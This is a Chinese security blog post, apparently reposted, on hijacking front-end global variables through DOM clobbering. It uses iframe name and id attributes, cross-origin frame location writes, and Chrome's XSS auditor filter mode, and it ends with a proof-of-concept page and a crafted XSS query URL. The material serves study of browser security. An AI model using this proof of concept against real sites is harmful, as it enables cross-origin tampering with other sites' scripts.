内容简介:避免博客长草,水一篇文章,这篇文章中主要讲一个在前端中出现的有意思的变量劫持漏洞。当页面存在(本文不考虑
避免博客长草,水一篇文章,这篇文章中主要讲一个在前端中出现的有意思的变量劫持漏洞。
0x1 基础知识
当页面存在 iframe
的时候,父页面和子页面是可以相互获取到对方的 window
对象的,主要利用下面的方法。
(本文不考虑 iframe
的 sandbox
属性,所有测试都是在不添加任何 sandbox
的限制下进行。)
父访问子:
document.getElementById("iframe1").contentWindow; // 获取iframe的window对象 window.frames[0]; // 获取iframe的window对象 window[0] ; // 这个比较有意思, window 是本页面的window对象,window[0] 是子页面的window对象
子访问父:
window.parent; //获取上一级的window对象,如果还是iframe则是该iframe的window对象 window.top ; // 获取最顶级容器的window对象,即,就是你打开页面的文档
如果父和子页面是同源的,那么可以通过这个window对象获取到任何你想获取的内容,包括但是不限于 document,name,location 等。但是在非同源的情况下,iframe的window对象大多数的属性都会被同源策略block掉,但是有两个属性比较特殊。
- frames 可读,但是不可写。 意味着可以读取不同域的子页面里面的iframe的window对象
- location 可写,但是不可读。意味着父子可以相互修改彼此的 location
结合以上两点可以推导出,爷可以修改孙(孙可以修改爷)的location。(父页面可以获取子页面的window对象,然后通过frames获取孙页面的window对象,然后修改location)
爷修改孙,演示如下:
<!-- localhost:80/index.html --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <iframe name="viewer" src="http://localhost:8888/view.html" onload="loaded(this)"></iframe> <script> // CONFIG = "test"; function loaded(x) { // myframe = window.frames[0]; // myframe.frames[0].location = 'http://www.baidu.com/'; x.contentWindow.frames[0].location = "http://www.baidu.com/"; // console.log(myframe == x.contentWindow); } </script> </body> </html>
<!-- localhost:8888/view.html --> <iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>
0x2 重新审视一下 id 属性
我们知道在浏览器中有如下特点,我们定义的所有全局变量,都被存储在window对象中,作为window的属性来被访问的。
下面在console中验证一下:
> content = "i am content storage in window"; < "i am content storage in window" > window.content < "i am content storage in window" > window.content == content < true
同样,我们在页面中定义的具有id属性的dom对象也是作为全局变量存储在 window 中的。
<h1 id="test"></h1>
然后再console里访问一下:
> test < <h1 id="test"></h1> > window.test < <h1 id="test"></h1>
这时候想到一个问题,既然 id 属性会被注册成全局变量,那么它会不会覆盖掉已经存在的全局变量呢?我们写如下的测试代码:
<h1>test</h1> <h2>test2</h2> <script> // CONFIG = "test"; test = "ddd"; document.getElementsByTagName("h1")[0].setAttribute('id',"test"); document.getElementsByTagName("h2")[0].setAttribute('id',"test2"); </script>
在console中输入:
> test < "ddd" > test2 > <h2 id="test2">test2</h2>
事实证明无法覆盖已经定义的变量,但是却可以定义新的变量
怎么让页面中出现未定义的全局变量呢?别忘了 chrome 74之后 默认的 xss auditor 从block模式变成了filter模式,可以利用这个删除掉页面中的代码。(此问题文章最后演示)
另外我们知道,如果在页面中定义两个id一样的元素之后,这样使用 document.getElementById
就无法获取到这个id了,但是并不意味着着全局变量就不存在了,看下面这个实验。
<h1 id="test"></h1> <h2 id="test"></h2>
> test < HTMLCollection(2) [h1#test, h2#test, test: h1#test] 0: h1#test 1: h2#test length: 2 test: h1#test __proto__: HTMLCollection
很明显全局变量 test
还是存在的,是包含两个元素的数组。
0x3 同样道理看一下iframe的name属性
<iframe name="viewer" src="./view.html"></iframe>
在console里验证一下
> viewer < Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, parent: Window, …}
情况差不多,这里的 viewer
是注册在全局变量里的window对象。
但是如果页面中出现两个 name
相同的 iframe
,又会是什么情况呢?
<iframe name="test" src="http://B.com/B.html" ></iframe> <iframe name="test" src="http://C.com/C.html" ></iframe>
在console里面输入:
> test < global {window: global, self: global, location: Location, closed: false, frames: global, …} > test == document.getElementsByTagName('iframe')[0].contentWindow < true > test == document.getElementsByTagName('iframe')[1].contentWindow < false
发现跟id的情况并不相同,这里只有第一个元素,而且仅有第一个元素。
0x4 id 和 name 重复出现时
name在id前面
<iframe name="test" src="http://B.com/B.html" ></iframe> <h1 id="test"></h1>
> test < global {window: global, self: global, location: Location, closed: false, frames: global, …}
id在name前面
<h1 id="test"></h1> <iframe name="test" src="http://B.com/B.html" ></iframe>
> test < global {window: global, self: global, location: Location, closed: false, frames: global, …}
可以发现 name 的优先级是高于 id 的优先级的,无论怎样全局变量里存储的都是 iframe 的 window对象。
0x5 漏洞场景
我们有一个可以控制的域 A.com 中有页面 A.com/A.html , 用iframe加载了 B.com 的域的页面 B.com/B.html 。A.html无法操作B.html页面,因为是不同源的,同时 B.com/B.html 页面用iframe加载了一个新的页面 C.com/C.html 。
此时 B.com/B.html 存在一个未定义的全局变量 (可以是利用chrome的xss auditor的filter模式产生的),怎么利用?场景用代码描述如下:
<!-- A.com/A.html --> <iframe src="http://B.com/B.html" ></iframe>
<!-- B.com/B.html --> <iframe src="http://C.com/C.html" ></iframe> <h1 onclick="test()">click me</h1> <script> VUL = "Hijack me"; </script> <script> function test(){ // 不能用alert ,alert 会尝试访问 VUL window对象的特有方法,会爆跨域错误 console.log(VUL); } </script>
利用的poc如下,修改A.html如下:
<script> function loaded(x){ x.contentWindow.frames[0].location = "http://A.com/index.html"; // 修改为跟A.com同源,这样在修改此iframe的name的时候就不会被同源策略block setTimeout(function() { console.log('setting viewer...'); x.contentWindow.frames[0].name = "VUL"; // 重新定义全局变量 },1000); } </script> <!-- http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E 利用chrome的filter模式去掉 VUL 的定义 --> <iframe src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>
然后访问 A.com/A.html ,就会发现 B.com/B.html 中的 VUL
已经被劫持了。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。